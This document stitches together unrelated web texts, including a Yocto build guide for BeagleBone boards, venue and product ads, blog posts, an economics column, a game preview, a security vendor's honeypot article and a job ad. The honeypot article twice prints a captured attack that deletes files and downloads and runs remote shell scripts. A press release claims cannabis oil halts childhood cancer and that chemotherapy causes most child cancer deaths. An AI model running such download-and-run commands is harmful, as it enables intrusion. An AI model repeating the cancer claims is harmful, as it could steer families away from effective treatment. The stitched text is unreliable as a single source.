text:
Building systems for BeagleBone Black, BeagleBone Green and PocketBeagle boards using tools from the Yocto Project.
Yocto is a set of tools for building a custom embedded Linux distribution. The systems are usually targeted at particular applications like commercial products.
Yocto uses meta-layers to define the configuration for a system build. Within each meta-layer are recipes, classes and configuration files that support the primary python build tool, bitbake.
The meta-bbb layer generates some basic systems with packages that support C, C++, Qt5, Perl and Python development, the languages and tools I commonly use. Other languages are supported.
I use this layer as a template when starting new BeagleBone projects.
System Info
The Yocto version is 3.1 the
[dunfell] branch.
The default kernel is 5.8. A recipe for the 5.4 LTS kernel is also available.
The u-boot version is 2020.01.
These are sysvinit systems using eudev.
The Qt version is 5.13.2. There is no X11 and no desktop installed. Qt GUI applications can be run using the linuxfb platform plugin.
A light-weight X11 desktop can be added with minimal changes to the build configuration. For instance X11 is needed to run Java GUI apps or browser kiosk applications.
Python 3.8.2 is installed.
gcc/g++ 9.3.0 and associated build tools are installed.
git 2.24 is installed.
wireguard is installed, wireguard-linux-compat is used for kernels older then 5.6.
Ubuntu Setup
I have been using 20.04 and 18.04 Ubuntu 64-bit servers for builds.
You will need at least the following packages installed
For all versions of Ubuntu, you should change the default Ubuntu shell from dash to bash by running this command from a shell
sudo dpkg-reconfigure dash
Choose No to dash when prompted.
Clone the repositories
~$ git clone -b dunfell git://git.yoctoproject.org/poky.git poky-dunfell
~$ cd poky-dunfell
~/poky-dunfell$ git clone -b dunfell git://git.openembedded.org/meta-openembedded
~/poky-dunfell$ git clone -b dunfell https://github.com/meta-qt5/meta-qt5.git
~/poky-dunfell$ git clone -b dunfell git://git.yoctoproject.org/meta-security.git
These repositories shouldn't need modifications other then periodic updates and can be reused for different projects or different boards.
My own common meta-layer changing some upstream package defaults and adding a few custom recipes.
~/poky-dunfell$ git clone -b dunfell https://github.com/jumpnow/meta-jumpnow.git
Clone the meta-bbb repository
Create a sub-directory for the
meta-bbb repository before cloning
~$ mkdir ~/bbb
~$ cd ~/bbb
~/bbb$ git clone -b dunfell git://github.com/jumpnow/meta-bbb
meta-bbb/README.md file has the last commits from the dependency repositories that I tested. You can always checkout those commits explicitly if you run into problems.
Initialize the build directory
Much of the following are only the conventions that I use. All of the paths to the meta-layers are configurable.
First setup a build directory. I tend to do this on a per board and/or per project basis so I can quickly switch between projects. For this example I'll put the build directory under
~/bbb/ with the
meta-bbb layer.
You could manually create the directory structure like this
~$ mkdir -p ~/bbb/build/conf
Or you could use the Yocto environment script
oe-init-build-env like this passing in the path to the build directory
~$ source poky-dunfell/oe-init-build-env ~/bbb/build
The Yocto environment script will create the build directory if it does not already exist.
Customize the configuration files
There are some sample configuration files in the
meta-bbb/conf directory.
Copy them to the
build/conf directory (removing the '-sample')
~/bbb$ cp meta-bbb/conf/local.conf.sample build/conf/local.conf
~/bbb$ cp meta-bbb/conf/bblayers.conf.sample build/conf/bblayers.conf
If you used the
oe-init-build-env script to create the build directory, it generated some generic configuration files in the
build/conf directory. It is okay to copy over them.
You may want to customize the configuration files before your first build.
Edit bblayers.conf
bblayers.conf file replace ${HOME} with the appropriate path to the meta-layer repositories on your system if you modified any of the paths in the previous instructions.
For example, if your directory structure does not look exactly like this, you will need to modify
Edit local.conf
The variables you may want to customize are the following:
The defaults for all of these work fine. Adjustments are optional.
This is where temporary build files and the final build binaries will end up. Expect to use at least 35GB. You probably want at least 50GB available.
The default location is in the
build directory, in this example
If you specify an alternate location as I do in the example conf file make sure the directory is writable by the user running the build.
This is where the downloaded source files will be stored. You can share this among configurations and build files so I created a general location for this outside the project directory. Make sure the build user has write permission to the directory you decide on.
The default location is in the
build directory,
This is another Yocto build directory that can get pretty big, greater then 5GB. I often put this somewhere else other then my home directory as well.
The default location is in the
build directory,
There is only one login user by default, root.
The default password is set to jumpnowtek by these two lines in the local.conf file
INHERIT += "extrausers"
EXTRA_USERS_PARAMS = "usermod -P jumpnowtek root; "
These two lines force a password change on first login
INHERIT += "chageusers"
CHAGE_USERS_PARAMS = "chage -d0 root; "
You can comment them out if you do not want that behavior.
If you want no password at all (development only hopefully), comment those four lines and uncomment this line
EXTRA_IMAGE_FEATURES = "debug-tweaks"
#INHERIT += "extrausers"
#EXTRA_USERS_PARAMS = "usermod -P jumpnowtek root; "
#INHERIT += "chageusers"
#CHAGE_USERS_PARAMS = "chage -d0 root; "
You can always add or change the password once logged in.
Run the build
You need to source the Yocto environment into your shell before you can use bitbake. The
oe-init-build-env will not overwrite your customized conf files.
~$ source poky-dunfell/oe-init-build-env ~/bbb/build
### Shell environment set up for builds. ###
You can now run 'bitbake <target>'
Common targets are:
You can also run generated qemu images with a command like 'runqemu qemux86'
Other commonly useful commands are:
- 'devtool' and 'recipetool' handle common recipe tasks
- 'bitbake-layers' handles common layer tasks
- 'oe-pkgdata-util' handles common target package tasks
I don't use any of the Common targets, but instead use my own custom image recipes.
There are a few custom images available in the meta-bbb layer. The recipes for the images can be found in
- console-image.bb
- qt5-image.bb
- installer-image.bb
You should add your own custom images to this same directory.
A basic console developer image. See the recipe
meta-bbb/images/console-image.bb for specifics, but some of the installed programs are
gcc/g++ and associated build tools
ssh/scp server and client
python3 with a number of modules
The console-image has a line
inherit core-image
which is
poky-dunfell/meta/classes/core-image.bbclass and pulls in some required base packages. This is useful to know if you create your own image recipe.
This image includes the
console-image and adds
Qt5 runtime libraries.
This is a minimal image meant only to run from an SD card and whose only purpose is to perform an eMMC installation.
To build the
console-image run the following command
~/bbb/build$ bitbake console-image
You may occasionally run into build errors related to packages that either failed to download or sometimes out of order builds. The easy solution is to clean the failed package and rerun the build again.
For instance if the build for
zip failed for some reason, I would run this
~/bbb/build$ bitbake -c cleansstate zip
~/bbb/build$ bitbake zip
And then continue with the full build.
~/bbb/build$ bitbake console-image
To build the
qt5-image it would be
~/bbb/build$ bitbake qt5-image
Or the
~/bbb/build$ bitbake installer-image
cleansstate command (with two s's) works for image recipes as well.
The image files won't get deleted from the TMPDIR until the next time you build.
Copying the binaries to an SD card
After the build completes, the bootloader, kernel and rootfs image files can be found in
meta-bbb/scripts directory has some helper scripts to format and copy the files to a microSD card.
This script will partition an SD card with the minimal 2 partitions required for the boards.
Insert the microSD into your workstation and note where it shows up.
lsblk is convenient for finding the microSD card.
For example
scott@octo:~/bbb/meta-bbb$ lsblk
sda 8:0 0 931.5G 0 disk
|-sda1 8:1 0 93.1G 0 part /
|-sda2 8:2 0 93.1G 0 part /home
|-sda3 8:3 0 29.8G 0 part [SWAP]
|-sda4 8:4 0 1K 0 part
|-sda5 8:5 0 100G 0 part /oe5
|-sda6 8:6 0 100G 0 part /oe6
|-sda7 8:7 0 100G 0 part /oe7
|-sda8 8:8 0 100G 0 part /oe8
|-sda9 8:9 0 100G 0 part /oe9
`-sda10 8:10 0 215.5G 0 part /oe10
sdb 8:16 1 7.4G 0 disk
|-sdb1 8:17 1 64M 0 part
`-sdb2 8:18 1 7.3G 0 part
I would use
sdb for the format and copy script parameters on this machine.
It doesn't matter if some partitions from the SD card are mounted. The
mk2parts.sh script will unmount them.
BE CAREFUL with this script. It will format any disk on your workstation.
~$ cd ~/bbb/meta-bbb/scripts
~/bbb/meta-bbb/scripts$ sudo ./mk2parts.sh sdb
You only have to format the SD card once.
You will need to create a mount point on your workstation for the copy scripts to use.
~$ sudo mkdir /media/card
You only have to create this directory once.
This script copies the bootloaders (MLO and u-boot) to the boot partition of the SD card.
The script also copies a uEnv.txt file to the boot partition if it finds one in either
or in the local directory where the script is run from.
If you are just starting out, you might just want to do this
~/bbb/meta-bbb/scripts$ cp uEnv.txt-example uEnv.txt
This copy_boot.sh script needs to know the
TMPDIR to find the binaries. It looks for an environment variable called
For instance, if I had this in the
TMPDIR = "/oe7/bbb/tmp-dunfell"
Then I would export this environment variable before running
~/bbb/meta-bbb/scripts$ export OETMP=/oe7/bbb/tmp-dunfell
Then run the
copy_boot.sh script passing the location of SD card
~/bbb/meta-bbb/scripts$ ./copy_boot.sh sdb
This script should run very fast.
This script copies the zImage Linux kernel, the device tree binaries and the rest of the operating system to the root file system partition of the SD card.
The script accepts an optional command line argument for the image type, for example console or qt5. The default is console if no argument is provided.
The script also accepts a hostname argument if you want the host name to be something other then the default beaglebone.
Here's an example of how you'd run copy_rootfs.sh
~/bbb/meta-bbb/scripts$ ./copy_rootfs.sh sdb console
~/bbb/meta-bbb/scripts$ ./copy_rootfs.sh sdb qt5 bbb
The copy_rootfs.sh script will take longer to run and depends a lot on the quality of your SD card. With a good Class 10 card it should take less then 30 seconds.
The copy scripts will NOT unmount partitions automatically. If an SD card partition is already mounted, the script will complain and abort. This is for safety, mine mostly, since I run these scripts many times a day on different machines and the SD cards show up in different places.
Here's a realistic example session where I want to copy already built images to a second SD card that I just inserted.
~$ sudo umount /dev/sdb1
~$ sudo umount /dev/sdb2
~$ export OETMP=/oe7/bbb/tmp-dunfell
~$ cd bbb/meta-bbb/scripts
~/bbb/meta-bbb/scripts$ ./copy_boot.sh sdb
~/bbb/meta-bbb/scripts$ ./copy_rootfs.sh sdb console bbb2
Both copy_boot.sh and copy_rootfs.sh are simple scripts meant to be modified for custom use.
Booting from the SD card
The default behavior of the beaglebone is to boot from the eMMC first if it finds a bootloader there.
Holding the S2 switch down when the bootloader starts will cause the BBB to try booting from the SD card first. The S2 switch is above the SD card holder.
If you are using a cape, the S2 switch is usually inaccessible or at least awkward to reach. From the back of the board a temporary jump of P8.43 to ground when the bootloader starts will do the same thing as holding the S2 switch.
If you prefer to always boot from the SD card you can erase any existing bootloader from the eMMC with something like the following
root@beaglebone:~# dd if=/dev/zero of=/dev/mmcblk1 bs=4096 count=4096
On a system that booted from an SD card,
/dev/mmcblk0 is the SD card and
/dev/mmcblk1 is the eMMC.
Installing to the eMMC
Normally you will want to use the eMMC over the SD card since the eMMC is a little faster.
You need a running system to install to the eMMC, since it is not accessible otherwise.
Suppose you wanted to install the console-image onto the eMMC.
First make sure you build both the console-image and the installer-image using bitbake.
First edit the meta-bbb/scripts/emmc-uEnv.txt file to be the uEnv.txt you want when using the eMMC. Normally you will only need to modify the fdtfile variable for the dtb you want.
Then when copying to the SD card, use these steps
scott@octo:~$ export OETMP=<your-tmp-dir>
scott@octo:~$ cd bbb/meta-bbb/scripts
scott@octo:~/bbb/meta-bbb/scripts$ ./copy_boot.sh sdb
scott@octo:~/bbb/meta-bbb/scripts$ ./copy_rootfs.sh sdb installer [<hostname>]
scott@octo:~/bbb/meta-bbb/scripts$ ./copy_emmc_install.sh sdb console
When you boot from the SD card this time, it will automatically launch the eMMC installation of the console-image.
When the BBB LEDs stop flashing in cylon-mode, the eMMC installation is complete.
It should take a little over a minute from the time you apply power.
Power off, pull the SD card and reboot.
NOTE The default emmc installation will partition the eMMC for use with the emmc-upgrader scripts which support A/B rootfs upgradable systems. You can change this to partition the eMMC into two partitions by modifying this file before building the emmc-installer package.
Modifying uEnv.txt
The uEnv.txt bootloader configuration script is where the kernel dtb is specified.
The uEnv.txt file is located on the first partition of the SD card or eMMC.
You can modify the uEnv.txt file at installation by adding a uEnv.txt file to the meta-bbb/scripts directory.
~/bbb/meta-bbb/scripts$ cp uEnv.txt-example uEnv.txt
And then edit the file. The copy_boot.sh script will pick it up and use it.
For the uEnv.txt file that installs onto the eMMC, edit this file directly
Be careful not to lose this line in the eMMC version of uEnv.txt
It differs from SD card uEnv.txt files which uses
You can also edit uEnv.txt on a running BBB system.
You first need to mount the bootloader partition
root@bbb:~# mount /dev/mmcblk0p1 /mnt
root@bbb:~# ls -l /mnt
total 466
-rwxr-xr-x 1 root root 64408 Aug 10 2015 MLO
-rwxr-xr-x 1 root root 410860 Aug 10 2015 u-boot.img
-rwxr-xr-x 1 root root 931 Aug 10 2015 uEnv.txt
You can edit
/etc/fstab if you want the bootloader partition mounted all the time.
Adding additional packages
To display the list of available packages from the meta- repositories included in bblayers.conf
~$ source poky-dunfell/oe-init-build-env ~/bbb/build
~/bbb/build$ bitbake -s
Once you have the package name, you need to get it into the IMAGE_INSTALL variable one way or another.
Some options
Add the new package to the console-image or qt5-image.
Create a new image file and either include the console-image the way the qt5-image does or create a complete new image recipe.
Append the package to the IMAGE_INSTALL variable in local.conf
Customizing the Kernel
See this post for some ways to go about customizing and rebuilding the BBB kernel or generating a new device tree binary.
Customizing U-Boot
See this post for similar notes on working with u-boot for the BBB.
Package Management
The package manager for these systems is opkg. The other choices are rpm or apt. You can change the package manager with the PACKAGE_CLASSES variable in
opkg is the most lightweight of the Yocto package managers and the one that builds packages the quickest.
To add or upgrade packages to the system, you might be interested in using the build workstation as a remote package repository.
Full System Upgrades
For deployed production systems, you might prefer full system upgrades using an A/B rootfs strategy. This keeps upgrades atomic instead of spread out over multiple packages. It also allows for easy rollback when required.
An implementation of this idea is described here An upgrade strategy for embedded Linux systems.
There is a emmc-upgrader package in the meta-bbb layer that will add this capability to your systems.


text:
Renaissance Vineyard Villa
Venue in Montefalco
The Renaissance Vineyard Villa is located near Montefalco, a small village famous for the delicious Sagrantino wine. A short drive away you can visit Perugia, Bevagna and Spoleto, all within less than an hour. The Villa is located between hills of vineyards in a land called "railing umbra". The breathtaking panorama not tired, you can stay for hours to get lost among the sinuous curves of the hills and sipping a glass of red wine. Nearby you can enjoy horse riding, various water sports, trekking, golf and paragliding.
The villa recreates the Renaissance style of a hunting lodge of the time. The architecture responds to the canons of balance and proportion, geometric structures are repeated in regular and clear shapes and the villa engages in a harmonious' environment. All around the vineyard of 20 hectares which is radiating by rows toward the Villa. Here are cultivated only grapes of Sagrantino, Merlot and Sangiovese and Sagrantino is produced, Sagrantino Passito, Rosso di Montefalco and Grappa di Sagrantino according to the regulations of organic farming.
The Winery is located in the basement, while on the upper level the big Salone delle Feste, a stylish venue for events and weddings, to welcome you in the winter the large fireplace in the main rooms and a view over the vineyard in the fountain room. The Villa is available for Symbolic ceremonies, while Catholic and Civil can be done in Montefalco or Bevagna towns.

subset: commoncrawl


text:
Today on Thursday, April 24, 2014, Young Ambassadors and Eupolis Lombardia had a project and program at one of the most beautiful lakes in the world, Como Lake, for the event called KnowBrid – Knowledge Bridge. The focus of the event is "To bridge the generation gap".
This adventurous and exciting event was attended by our Young Ambassadors from China and Indonesia (Du Wanlin and Dewi Wihardja) plus professionals from visiting countries such as Spain and Turkey. Not left behind, one of the Young Ambassadors' supervisor from Eupolis, Matteo Matteini, also accompanied the journey.
The adventure focused on two admirably beautiful destinations in Italy, Bellagio Village and Como Lake, for their worldwide well-known cultures, history, and beauty.
Como Lake
The lake is shaped similar to the letter "Y". The northern part of the lake Como begins from the town of Colico while the towns of Como and Lecco…
View original post 267 more words


text:
The Most Important Economic Story Nobody Is Talking About
By failing to appoint new members to the Federal Reserve, Obama has failed the economy
Behind every great president stands a great central banker. Ronald Reagan had Paul Volcker. Dwight Eisenhower had William McChesney Martin. And FDR had, well, FDR.
There's a corollary. Behind every great central banker stands a great central banking committee. Or at least a pliant one. It's this latter reality that President Obama still has not quite recognized. And this malign neglect of most matters monetary has added a wholly unnecessary degree-of-difficulty to the economic recovery.
Here's a depressing reminder: We're in a $1 trillion hole. That's how much income we have been losing every year since the onset of the Great Recession. Ben Bernanke and Co. have done a good job preventing a full-on replay of the Great Depression, but Ben Bernanke and Co. have not done a good job preventing a lost decade. The key phrase here is "and Co."
Bernanke doesn't set monetary policy by himself. That's what the Federal Open Market Committee (FOMC) votes on. Its structure is a bit Byzantine and not terribly important, but what is important is that the Fed Chairman usually gets his way without any dissent. That hasn't been true lately. The Fed's unconventional measures have unsurprisingly not been too popular with the FOMC's more conventional members. Unfortunately, that hasn't stopped Bernanke from trying to reach a consensus. He thinks he needs to. Bernanke recently told Roger Lowenstein that he thinks any policy that doesn't get at least a 7-3 majority simply won't be credible. This political calculation gives the hawks more policy influence than they would otherwise have.
And now it looks like there are more hawks. As Greg Ip of The Economist has pointed out, most of Bernanke's colleagues now want to raise rates before he does. He increasingly looks isolated. Even if Bernanke is inclined to ease a bit more -- and reading between the lines, he might be -- there's little chance of it happening. It's worth remembering that even the hawks project inflation to remain below target and unemployment to remain above target for the next few years. If the Fed believes its own forecasts, it should be doing more.
I've left out a fairly important detail. There are two unfilled seats on the FOMC. President Obama's picks for those positions have been among the victims of the endless Republican obstruction in the world's greatest deliberative body. There's a simple solution. Obama could just bypass the Senate with recess appointments. That's what he did for the Consumer Financial Protection Bureau (CFPB) and National Labor Relations Board (NLRB). Why not do the same for the Federal Reserve (or the Federal Housing Finance Agency)?
There's no good reason not to. The administration's rationale is that Republican obstruction over the CFPB and NLRB was particularly pernicious -- that it amounted to de facto nullification. Hence, the extraordinary recess appointments for just those vacancies. But even if that's true, who cares? It's hard to run the government if it's not staffed. So staff it! More importantly, there's little Obama can do that might help the economy more than sending Bernanke a few more friendly faces on the FOMC.
Regrettably, the Obama administration has consistently underestimated the importance of the Fed. That there are still two empty FOMC seats proves as much. So do the administration's (blocked) nominees. Consider Peter Diamond. He's a phenomenal economist -- a Nobel-prize winner -- who's clearly qualified to serve on the FOMC. But he's said that he doesn't think there's much more the Fed can do now. Even if he's right -- and I clearly don't think he is -- wouldn't you rather appoint someone who thinks otherwise and find out if the Fed really is powerless? Someone like ... former Council of Economic Advisers Chair Christina Romer.
Let's try pushing some more before we declare that we're pushing on a string.
Sending Bernanke some reinforcements wouldn't be some economic panacea. Fed policy actually might not change all that much. But it could shift the FOMC's bias away from hiking and back towards easing, which its forecasts say it should be doing. That potential benefit is worth the cost -- which is approximately zero. (Remember the steep political price Obama paid for his previous recess appointments? Neither do I).
We tend to overlook monetary policy when we judge presidents. It's only natural that we think about presidential accomplishments in terms of things the president, you know, actually does. So we talk about how Reagan unleashed the supply side revolution, Eisenhower balanced the budget, and FDR's New Deal turned the tide against depression. But none of that would have been possible without good central banking. Reagan wouldn't have whipped inflation without Volcker. Eisenhower's postwar boom wouldn't have been quite so strong without Martin's fiercely independent Fed. And FDR might not have broken the psychology of deflation had ... FDR not devalued against gold. (Okay, FDR deserves heaps of credit).
It's hard to have a great presidency without great central banking. It's a necessary, but not sufficient condition. Just ask Herbert Hoover or Jimmy Carter. That's company Obama should be terrified of joining.


text:
When you click on the big yellow link above to go to today's A&J, you will see a message about the upcoming changes at comics.com that we talked about back in February. After reading the message, you're invited to click on the link that says "continue," or something such as that. However, you will not be directed to A&J but to a random strip. To get to A&J as usual, simply close out comics.com and return to arloandjanis.com and click the big yellow link again. It then should take you directly to today's A&J. That's how I did it. I'm just trying to head off most of the anguished emails that surely would come later today.
We'll talk more about the changes soon, but at this point I really don't know a lot more than when I introduced the subject.


text:
You know what nobody has been able to pull off on mobile? A good Pokemon clone. You'd think that monster capture games would be a fairly easy formula to mimic, but every attempt we've seen has ranged from "dismal failure" to "close, but not quite." Even the splendid Outernauts got notably crummy when it was reimagined for a mobile release.
As you can imagine, we now approach mobile monster capture games with a fair amount of trepidation and skepticism.
Browsing around the Canadian App Store, though, I found something that couldn't help but catch my eye. A new monster capture game from Glu, aka "the studio that can do no wrong." With a string of hits in 2014 already under their belt (Kim Kardashian: Hollywood, Dino Hunter: Deadly Shores, Tap Sports Baseball), I found myself with a glimmer of something I wasn't expecting — hope.
And after an hour of playtime, I'm not disappointed. Amazing Battle Creatures seems to succeed because it knows what it is, and knows what it's not. This is a mobile game that knows how important quick play sessions are, but doesn't sacrifice the strategy of monster capture games in the process.
Players progress through a series of stages that pit your creatures in a series of battles against other creatures. The genus of you creature matters in the rock/paper/scissors fashion that genre fans should be familiar with – fire beats nature, nature beats water, water beats fire – and you'll quickly unlock different moves for each of your creatures.
These moves aren't just generic variations on attack, like you'll find in sub-par, free-to-play Pokemon alternatives. In the first few minutes you'll find yourself making choices about which characters make the most sense to try and stun or poison, and if the sacrifice in mana will be worth the end result.
Visually, this one's a stunner too. I've only played through the first chapter (comprised of a dozen or so battles), but the monster designs and animations have me eager to see what else is out there.
You'll also have the ability to breed new monsters by combining elements. It feels a little like DragonVale… until you end up with a bad ass lightning dog thing that can really tear things up in the heat of battle.
What really seems to make this work is that Amazing Battle Creatures isn't trying to be Pokemon — it's trying to be Amazing Battle Creatures. This feels very much like it's own product. Sure, it's designed to appeal to Pokemon fans – but unlike so many other mobile games with similar goals that fail to deliver, Amazing Battle Creatures really seems to have the potential to succeed.
There's no word on a release date, but we'll keep playing it until it comes around. Be sure to check back with us when it launches for our review. And if you can't wait that long, you can always grab it from the Canadian App Store. (Here's how to get an account if you don't have one already).


text:
United Patients Group
Medical marijuana resource United Patients Group and the Cash Hyde Foundation step up initiatives to change public perception and policies that keep families from finding the best treatment for the cancer that tortures their children.
Where are parents to go when cries for the miracle of marijuana fall upon deaf ears, forcing families to torture their children with toxic cancer treatments? This is the question at the forefront of a new pediatric cancer awareness initiative taken by leading medical marijuana patient resource site UnitedPatientsGroup.com and its partner, the Cash Hyde Foundation.
"Each day an average of seven children die from cancer in the U.S.," said John Malanca, founder and owner of UnitedPatientsGroup.com, the leading medical outlet for trustworthy cannabis information online. "The majority of these deaths are not caused by the cancer itself, but by dangerous cancer treatments that cause organs to fail and little bodies to shut down."
"One drop of cannabis oil can give these children instant relief from the suffering caused by their condition, and a cannabis regimen can stop the cancer from growing altogether," John said. "It's time for facilities and federal entities to accept the truth about cannabis, stop spreading misinformation, and give families a fighting chance. Our phone rings off the hook daily with calls from around the world. Desperate families from the UK, Panama, Pakistan in addition to the U.S. reach out to us in dire need of one last chance."
Mike and Kalli Hyde, founders of the Cash Hyde Foundation, are no strangers to the struggles faced by families scrambling to get access to cannabis as an alternative treatment option for their child's cancer. Just one year ago, their 4-year-old toddler Cashy succumbed to his battle with brain cancer after a valiant fight fueled by life-saving cannabis oil was cut short due to government regulations restricting the quantity of oil the family could obtain.
"Cashy was a living example of the power of cannabis," said Mike. "He was frail, weak, and comatose – he was dying – before we gave him cannabis oil – then he came back to life and he beat cancer twice. That was no coincidence. We experienced the miracle of marijuana first-hand and now we're here to make sure other parents get that same chance."
Read More


text:
QGMA Group stone processing systems were specially developed for surface finishing of marble and other stones, and stand out with their robust welded construction and increased output of the vibration drive.
Paver shot blasting machine is mainly used for surface roughening treatment of marbles, granites, concrete products, and natural stone. It includes stone shot blasting machine and marble shot blasting machine. It provides twin advantage foremost subject field end provides outstanding appearance as a result of the rough surface and therefore the exposed aggregates. Second "roughened" surface has excellent non-slip properties.


text:
If you have a server connected to the Internet, you can bet that it is constantly under scanning. Web-crawlers are gathering information from websites day-by-day. No matter if you have real websites or just an admin panel deployed on the web, sooner or later, they will find the public content.
You may would not even think that half of your website traffic is not exactly what you think is. Taking all website traffic, averagely 44-56% is the human-robot visitor rate. However, it varies between 63-80% most of the times (small sites ~80%, medium sites ~64%, large sites ~56%).
Good bots can be search engines, crawlers, spiders, vulnerability scanners, site performance bots, even media bots.
The problem starts at the bad bot side with impersonators, hacking tools, malicious vulnerability scanners, scrapers and spammers.
At first sight, you may keep out crawlers by their user-agent string using proper robots.txt, but most of them do not respect robots.txt standard. Furthermore, user-agent can be spoofable. Some bots are testing your web-server software, how it is responding to an unusual request. This example is just one method of the attackers to obtain information about your server. Every cyber attack starts with scanning.
HTTP servers are not the only services where others are trying to connect to your server. How do attackers know what kind of services are open on your server? In computer networking, a port is an endpoint of communication in an operating system. While IP address is responsible for identification and location of a host or network on the Internet, port tells which service you want to connect. Port is identified by a 16-bit number for each address and protocol. Port scan is the name of probing ways, which ports are open. This article doesn't specify the port scanning methods, but I mention some examples.
Many times we have perceived, that someone tries to brute-force log in via SSH to the server we had installed just a few minutes ago. Skipping the proper configuration of SSH server, missing to set up the proper user rights easily helps the attacker to obtain access to your server by a dictionary attack in a short time, if you have to leave SSH access as public for some reason.
Another popular target in the gangs of cyber attackers is Telnet. Telnet is used for obtaining a virtual terminal on a remote computer and using its applications. But Telnet does not encrypt passwords sent over the connections by default. Most of the implementations are sensitive to man in the middle attacks. This service is publicly available on a lot of servers even though nobody uses that (there have been alternatives to telnet for a long time). We advise to turn it off, unless you don't have another option.
In BitNinja, we implemented a module that can simulate fake services on random ports that you don't use. It is called Port Honeypot Module. Once someone or a bot is looking after an open port and hits these fake services, the module saves their attempt as a text and stops further connections from their side. While analyzing these logs, we have found a lot of script download attempts. If somebody's able to download these scripts and runs them, it will probably cause harmful activity.
Here's an example. An attack on port 23 stopped by the BitNinja Port Honeypot Module:
cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var
rm -f *
busybox wget http://5#.2##.###.###/bin.sh
sh bin.sh
busybox tftp -r bin2.sh -g 5#.2##.###.###
sh bin2.sh
busybox tftp -c 5#.2##.###.### get bin3.sh
sh bin3.sh
busybox ftpget 5#.2##.###.###
… and it was being repeated for a few times. Nice try. We checked the IP in the destination URL and found that we caught tons of harmful requests from there earlier. (The IP address in this example is masked, of course.)
Not only services that are implementing well-known protocols can be attack vectors. Recently, a group of security researchers from the Edinburgh Napier University published an article about how to amplify DDoS attack using TFTP. According to their research, they found 600 000 publicly available TFTP servers. Who thought about that some misconfiguration of this tiny, rarely-used service also can be used to harmful activity?
Anyway, port scanning itself is not illegal. (Sometimes system administrators do it in their network for diagnostic purposes.) But don't help the attackers' work by giving a map from your server. Do not publish a service to the Internet, if it is not necessary. But if you do that, please configure it carefully.
BitNinja is an easy-to-use server security tool which protects your servers/websites against 99% of cyberattacks.
cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var
rm -f *
busybox wget http://5#.2##.###.###/bin.sh
sh bin.sh
busybox tftp -r bin2.sh -g 5#.2##.###.###
sh bin2.sh
busybox tftp -c 5#.2##.###.### get bin3.sh
sh bin3.sh
busybox ftpget 5#.2##.###.###
Start the 7-day free trial with full functionality without spending a cent.
Not one, but two updates! Our newest agent version...
We have some interesting news coming: Let's say goodbye...


text:
Pet Adoption – Would You Rather Adopt from a Southern Kill Shelter or Locally? [POLL]
Apparently there's some reluctance on the part of some Mercer County pet adoption groups who have mixed feelings about bringing dogs up from the South to be adopted.
This happens because it's fairly common practice in the South, where "high kill" shelters operate…and a fair number of people from New Jersey are adopting from them.
I happen to know this firsthand, as that's how my daughter adopted her Dachshund/Beagle mix, Sophie.
She's a great dog…lots of personality…gets along great with guests and the baby; and was probably days away from being euthanized in one of the aforementioned shelters.
My daughter and her husband rescued Sophie through PetFinder, much the same way this one particular woman from Hunterdon County adopted her dog.
When Kim Kavin found her new dog on a website two years ago, she had no idea of the story that would come with him.
"I went on Petfinder.com, put in my zip code and saw a photo of Blue," she said. "And I just knew, that's my dog."
After filling out a five-page form and getting a home visit from an animal adoption group, Kavin, of Califon, was excited to finally meet her new dog. Then she was informed that Blue was not as close to her home in Hunterdon County as she thought.
"I was told that he was in a shelter in North Carolina," said Kavin, a journalist who later wrote a book about her experiences and the widespread euthanization of pets in shelters. "And that's when I started to learn what was going on."
In an effort to save animals from "high-kill" shelters in the South, which often euthanize unclaimed animals within several days, volunteers have been stepping in and saving the animals by finding homes for them in Northern states.
The unwanted puppies mostly come from Southern states where demand for adoption is low and most dogs are not spayed or neutered, she said.
Kavin eventually tracked down the shelter her dog came from, which she described as a gas-chamber kill center.
A staffer at SAVE, a Friend to Homeless Animal in Princeton said that, while adopting out local animals is the organization's number one goal, they will occasionally brings up puppies from a reliable shelter in the South when demand for adoptions is high.
SAVE shelter operations director Donielle Killian-Gioia said. "Several organizations in New Jersey bring up animals from the South because we have a larger adoption pool than they do."
Echoing Kavin, Killian-Gioia explained that the animal transfers are driven by the rare use of spaying and neutering in the South and the resulting glut of pets.
To make sure SAVE does not add to the problem, the shelter is very careful when it takes animals from locations outside of its normal service area, Killian-Gioia said.
Some animal activists are less comfortable with the arrangement. Karen Azarchi of the Ewing/Lawrence-area rescue organization Easel Animal Rescue League, said bringing animals from other states to distribute in New Jersey is still a sensitive topic.
"There are two different opinions," she said. "One is that it reduces the chance for local animals to be adopted, and the other is that a dog adopted is a dog adopted."
In addition to taking away from local adoptions, transporting dogs from Southern states runs the risk of also bringing diseases up north, Kavin said.
Some states had to stop "less legitimate" rescues due to a rise in diseases that were attributed to Southern dogs that were not vaccinated properly, she said.
But Kavin said she believes interstate pet rescue is becoming a real solution to the overpopulation problem.
It's heartbreaking to look into the eyes of an animal you've rescued from a kill shelter and think that the animal may have been days or even hours away from being put down because nobody wanted it.
And I do know for a fact that Sophie had all her shots and was fixed once she was transported here.
I do believe "a dog adopted is a dog adopted" in apt in this situation?


text:
Junior Production Support Analyst
Want to work in technology at an investment bank?
Paid graduate training, ongoing support, opportunities at leading global employers – the Alumni graduate program gives you everything you need. (And don't worry, there's no training bond. No exit fees, no hidden catches).
Here at Wiley Edge, we pair great graduates with brilliant global businesses. Our clients include tier one investment banks and other organizations across a range of industries, from insurance to healthcare to travel.
What you'll do:
Production support plays a vital role in enterprise technology, from algorithmic trading engines to regulatory reporting.
Think of it as healthcare for technology. As a production support analyst with Wiley Edge, you'll be on a shared mission to look after the technical systems and processes other teams rely on.
How the Alumni program works:
Apply via this job advert.
Complete our assessment process.
- Get trained at Wiley Edge Academy in an online class for 4-8 weeks with other graduates.
- Join a Wiley Edge client for 12-24 months while receiving support and salary increases every 6 months.
- The vast majority then convert to permanent employees with the client at the end of the program.
What you'll learn at the Wiley Edge Academy:
How to discuss production support activity at a high level including ITIL (information technology infrastructure library), monitoring, DevOps, SRE (site reliability engineering), and disaster recovery.
How to discuss common financial topics, including financial markets, equity trading, derivatives, currency, treasury, regulation, and risk.
- How to write a basic computer program in Python, including user input, common data structures, and flow of control.
- How to use MySQL to perform CRUD (create, read, update and delete) operations on a relational database stored in a MySQL Server.
What you need:
- Bachelor's degree in computer science or a related STEM subject (science, technology, engineering, math).
- Good grades. We look for potential, not prestige, but it's important that you enjoy pushing yourself to pick up new ideas.
- Ability to troubleshoot, taking an analytical approach to solve problems.
- Excellent spoken and written English communication skills.
The right to work without needing visa sponsorship.
